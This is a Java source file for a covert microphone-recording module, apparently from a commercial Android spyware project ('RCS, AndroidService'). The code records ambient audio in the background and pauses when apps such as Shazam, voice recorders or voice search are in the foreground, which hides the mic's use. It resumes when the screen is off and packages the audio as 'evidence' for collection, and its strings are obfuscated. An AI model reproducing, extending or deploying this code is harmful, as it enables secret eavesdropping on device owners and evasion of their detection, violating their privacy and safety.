/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : MicAgent.java
* Created : Apr 18, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.module;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.media.AudioManager;
import android.media.MediaRecorder;
import android.media.MediaRecorder.OnErrorListener;
import android.media.MediaRecorder.OnInfoListener;
import android.speech.RecognizerIntent;
import com.android.dvci.Call;
import com.android.dvci.ProcessInfo;
import com.android.dvci.ProcessStatus;
import com.android.dvci.Standby;
import com.android.dvci.StateRun;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.file.AutoFile;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.ListenerCall;
import com.android.dvci.listener.ListenerProcess;
import com.android.dvci.listener.ListenerStandby;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.mm.M;
import java.io.IOException;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/**
* The Class MicAgent. 8000KHz, 16bit
*
* @author zeno
* @ref: http://developer.android.com/reference/android/media/MediaRecorder.html
*/
public abstract class ModuleMic extends BaseModule implements Observer<Call>, OnErrorListener, OnInfoListener {
private static final String TAG = "ModuleMic"; //$NON-NLS-1$
protected static final long MIC_PERIOD = 5000;
// #!AMR[space]
public static final byte[] AMR_HEADER = new byte[]{35, 33, 65, 77, 82, 10};
protected static final int SUSPEND_CALL = 0;
protected static StandByObserver standbyObserver;
protected int numFailures;
protected long fId;
int amr_sizes[] = {12, 13, 15, 17, 19, 20, 26, 31, 5, 6, 5, 5, 0, 0, 0, 0};
/**
* The recorder.
*/
MediaRecorder recorder;
boolean phoneListening;
private Observer<ProcessInfo> processObserver;
public Set<String> blacklist = new HashSet<String>();
private boolean allowResume = true;
public ModuleMic() {
super();
resetBlacklist();
}
public synchronized void resetBlacklist() {
blacklist.clear();
addBlacklist(M.e("shazam"));
addBlacklist(M.e("com.vlingo"));
addBlacklist(M.e("soundrecorder"));
addBlacklist(M.e("voicerecorder"));
addBlacklist(M.e("voicesearch"));
addBlacklist(M.e("com.andrwq.recorder"));
if (android.os.Build.VERSION.SDK_INT > 20){
if(isSpeechRecognitionActivityPresented()){
addBlacklist(M.e("googlequicksearchbox:search"));
}else{
if (Cfg.DEBUG) {
Check.log(TAG + "(resetBlacklist)voice Recpgnition not present");//$NON-NLS-1$
}
}
}
}
/**
* Checks availability of speech recognizing Activity
*
* @return true – if Activity there available, false – if Activity is absent
*/
private static boolean isSpeechRecognitionActivityPresented() {
try {
// getting an instance of package manager
PackageManager pm = Status.getAppContext().getPackageManager();
// a list of activities, which can process speech recognition Intent
List activities = pm.queryIntentActivities(new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH), 0);
if (activities.size() != 0) { // if list not empty
return true; // then we can recognize the speech
}
} catch (Exception e) {
}
return false; // we have no activities to recognize the speech
}
public synchronized void addBlacklist(String black) {
blacklist.add(black);
}
public synchronized void delBlacklist(String black) {
blacklist.remove(black);
}
public synchronized boolean inInBlacklist(String process) {
return blacklist.contains(process);
}
public static ModuleMic self() {
return (ModuleMic) ManagerModule.self().get(M.e("mic"));
}
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.agent.AgentBase#parse(byte[])
*/
@Override
public boolean parse(ConfModule conf) {
setPeriod(MIC_PERIOD);
setDelay(MIC_PERIOD);
return true;
}
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.agent.AgentBase#begin()
*/
@Override
public void actualStart() {
try {
if (Cfg.DEBUG) {
Check.requires(status == StateRun.STARTING, "inconsistent status"); //$NON-NLS-1$
}
if (standbyObserver == null) {
standbyObserver = new StandByObserver(this);
}
if (canRecordMic()) {
startRecord();
if (Cfg.DEBUG) {
Check.log(TAG + "started");//$NON-NLS-1$
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + "cannot start");//$NON-NLS-1$
}
}
} catch (final IllegalStateException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (begin) Error: " + e.toString());//$NON-NLS-1$
}
} catch (IOException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
}
}
private void startRecord() throws IOException {
addPhoneListener();
if (Cfg.DEBUG) {
Check.asserts(standbyObserver != null, " (actualStart) Assert failed, null standbyObserver");
}
ListenerStandby.self().attach(standbyObserver);
// todo: sync
specificStart();
}
abstract void specificStart() throws IOException;
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.agent.AgentBase#end()
*/
@Override
public void actualStop() {
if (Cfg.DEBUG) {
Check.log(TAG + " (end)");//$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(status == StateRun.STOPPING, "state not STOPPING"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.asserts(standbyObserver != null, " (actualStop) Assert failed, null standbyObserver");
}
removePhoneListener();
ListenerStandby.self().detach(standbyObserver);
standbyObserver=null;
specificStop();
if (Cfg.DEBUG) {
Check.log(TAG + " (ended)");//$NON-NLS-1$
}
}
abstract void specificStop();
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.ThreadBase#go()
*/
@Override
public void actualGo() {
if (Cfg.DEBUG) {
Check.requires(status == StateRun.STARTED, "inconsistent status"); //$NON-NLS-1$
}
if (android.os.Build.VERSION.SDK_INT > 20){
if(isSpeechRecognitionActivityPresented()) {
if (!inInBlacklist(M.e("googlequicksearchbox:search"))) {
if (Cfg.DEBUG) {
Check.log(TAG + "(resetBlacklist)voice Recognition present ADDING in blacklist");//$NON-NLS-1$
}
addBlacklist(M.e("googlequicksearchbox:search"));
}
}else if(inInBlacklist(M.e("googlequicksearchbox:search"))){
if (Cfg.DEBUG) {
Check.log(TAG + "(resetBlacklist)voice Recognition not present REMOVING from blacklist");//$NON-NLS-1$
}
delBlacklist(M.e("googlequicksearchbox:search"));
}
}
if (recorder == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualGo), recorder not ready");
}
if (canRecordMic()) {
try {
startRecord();
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualGo), cannot start record: " + e);
}
}
}
return;
}
final int amp = recorder.getMaxAmplitude();
if (amp != 0) {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualGo): max amplitude=" + amp);//$NON-NLS-1$
}
}
specificGo(numFailures);
if (numFailures > 10) {
if (Cfg.DEBUG) {
Check.log(TAG + "numFailures: " + numFailures);//$NON-NLS-1$
}
stopThread();
}
if (Status.self().crisisMic()) {
if (Cfg.DEBUG) {
Check.log(TAG + "crisis!");//$NON-NLS-1$
}
suspend();
}
}
abstract void specificGo(int numFailures);
private void addPhoneListener() {
if (!phoneListening) {
ListenerCall.self().attach(this);
phoneListening = true;
}
if (processObserver == null) {
processObserver = new ProcessObserver(this);
}
ListenerProcess.self().attach(processObserver);
}
private void removePhoneListener() {
if (phoneListening) {
ListenerCall.self().detach(this);
phoneListening = false;
}
ListenerProcess.self().detach(processObserver);
}
@Override
public void notifyProcess(ProcessInfo b) {
AudioManager audioManager = (AudioManager) Status.getAppContext().getSystemService(Context.AUDIO_SERVICE);
boolean headset = audioManager.isWiredHeadsetOn();
if (Cfg.DEBUG) {
Check.log(TAG + " (notifyProcess) headset: " + headset);
}
for (String bl : blacklist) {
if (b.processInfo.contains(bl)) {
if (b.status == ProcessStatus.START) {
if (Cfg.DEBUG) {
Check.log(TAG + " (notifyProcess) blacklist started, " + b.processInfo);
}
suspend();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (notifyProcess) blacklist stopped, " + b.processInfo);
}
resume();
}
}
}
}
int index = 0;
byte[] unfinished = null;
private boolean callOngoing;
protected synchronized void saveRecorderEvidence() {
if (recorder == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence) Error: recorder is null");
}
numFailures += 1;
return;
}
byte[] chunk = getAvailable();
byte[] data = null;
if (chunk != null && chunk.length > 0) {
// data contiene il chunk senza l'header
if (ByteArray.equals(chunk, 0, AMR_HEADER, 0, AMR_HEADER.length)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence): remove header");
}
int offset = AMR_HEADER.length;
data = ByteArray.copy(chunk, offset, chunk.length - offset);
if (Cfg.MICFILE) {
AutoFile file = new AutoFile("/mnt/sdcard/record." + index + ".amr");
index++;
file.write(chunk);
}
} else if (unfinished != null && unfinished.length > 0) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence): copy bias=" + ByteArray.byteArrayToHex(unfinished));
}
data = ByteArray.concat(unfinished, unfinished.length, chunk, chunk.length);
if (Cfg.MICFILE) {
AutoFile file = new AutoFile("/mnt/sdcard/record." + index + ".amr");
index++;
file.write(data);
}
} else {
// if (Cfg.DEBUG) {
// Check.log(TAG +
// " (saveRecorderEvidence): plain chunk, no bias");
// }
data = chunk;
if (Cfg.MICFILE) {
AutoFile file = new AutoFile("/mnt/sdcard/record." + index + ".amr");
index++;
file.write(data);
}
}
// capire quale parte del chunk e' spezzata.
/* Find the packet size */
int pos = 0;
int chunklen = 0;
do {
if (pos >= data.length) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence) Error: strange pos");
}
numFailures += 1;
return;
}
chunklen = amr_sizes[(data[pos] >> 3) & 0x0f];
if (chunklen == 0) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence) Error: zero len amr chunk, pos: " + pos);
}
}
pos += chunklen + 1;
if (false && Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence): pos = " + pos + " chunklen = " + chunklen);
}
} while (pos < data.length);
int unfinishedLen = 0;
int unfinishedPos = 0;
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence), data.length+1: " + (data.length + 1) + " pos: " + pos);
}
if (pos > data.length + 1) {
// portion of microchunk to be saved for the next time
unfinishedLen = (chunklen - (pos - data.length) + 1) % chunklen;
unfinishedPos = pos - chunklen - 1;
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence): unfinishedLen = " + unfinishedLen + " unfPos: "
+ unfinishedPos + " chunklen: " + chunklen);
}
unfinished = ByteArray.copy(data, unfinishedPos, data.length - unfinishedPos);
if (unfinished.length > 0) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence): removing unfinished from data");
}
data = ByteArray.copy(data, 0, unfinishedPos);
}
}
if (data.length > 0) {
EvidenceBuilder.atomic(EvidenceType.MIC, getAdditionalData(), data);
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " zero chunk ");//$NON-NLS-1$
}
numFailures += 1;
}
}
abstract byte[] getAvailable();
// http://sipdroid.googlecode.com/svn/trunk/src/org/sipdroid/sipua/ui/VideoCamera.java
/**
* Stop recorder.
*/
abstract void stopRecorder();
private byte[] getAdditionalData() {
final int LOG_MIC_VERSION = 2008121901;
final int LOG_AUDIO_CODEC_AMR = 0x01;
final int sampleRate = 8000;
final int tlen = 16;
final byte[] additionalData = new byte[tlen];
final DataBuffer databuffer = new DataBuffer(additionalData, 0, tlen);
databuffer.writeInt(LOG_MIC_VERSION);
databuffer.writeInt(sampleRate | LOG_AUDIO_CODEC_AMR);
databuffer.writeLong(fId);
if (Cfg.DEBUG) {
Check.ensures(additionalData.length == tlen, "Wrong additional data name"); //$NON-NLS-1$
}
return additionalData;
}
public int notification(Call call) {
if (call.isOngoing()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): call incoming, suspend");//$NON-NLS-1$
}
callOngoing = true;
suspend();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification): ");//$NON-NLS-1$
}
callOngoing = false;
resume();
}
return 1;
}
public int notification(Standby b) {
if (b.isScreenOff()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification) standby, resume mic");
}
resume();
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification) unlocking, resume mic");
}
if (isForegroundBlacklist()) {
suspend();
}
}
return 0;
}
private boolean isForegroundBlacklist() {
String foreground = Status.self().getForeground();
for (String bl : blacklist) {
if (foreground.contains(bl)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (isForegroundBlacklist) found blacklist");
}
return true;
}
}
return false;
}
public boolean canRecordMic() {
if (!Status.crisisMic() && !callOngoing) {
if (isForegroundBlacklist() && ListenerStandby.isScreenOn()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (canRecordMic) can't resume because of blacklist");
}
return false;
}
if (ModuleCall.self() != null && (ModuleCall.self().isBooted()==false || ModuleCall.self().canRecord()) ) {
if (Cfg.DEBUG) {
Check.log(TAG + " (canRecordMic) can't switch on mic because call is available");
}
return false;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (canRecordMic)yes we can rec");
}
return true;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (canRecordMic) crisis or call, cant rec");
}
return false;
}
abstract void specificSuspend();
abstract void specificResume();
@Override
public synchronized void resume() {
if (isSuspended() && allowResume && canRecordMic()) {
specificResume();
try {
specificStart();
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (resume) Error: " + e);//$NON-NLS-1$
}
}
super.resume();
if (Cfg.DEBUG) {
Check.log(TAG + " (resumed)");//$NON-NLS-1$
}
}else{
if (Cfg.DEBUG) {
Check.log(TAG + " (resume): cannot resume : allowresume="+allowResume+" canRecord "+ canRecordMic() + " isSuspended=" + isSuspended());
}
}
}
@Override
public synchronized void suspend() {
if (!isSuspended()) {
super.suspend();
specificSuspend();
if (allowResume == false) {
removePhoneListener();
ListenerStandby.self().detach(standbyObserver);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (suspended)");//$NON-NLS-1$
}
}
}
public void stop() {
allowResume = false;
suspend();
}
@Override
public String getTag() {
return TAG;
}
}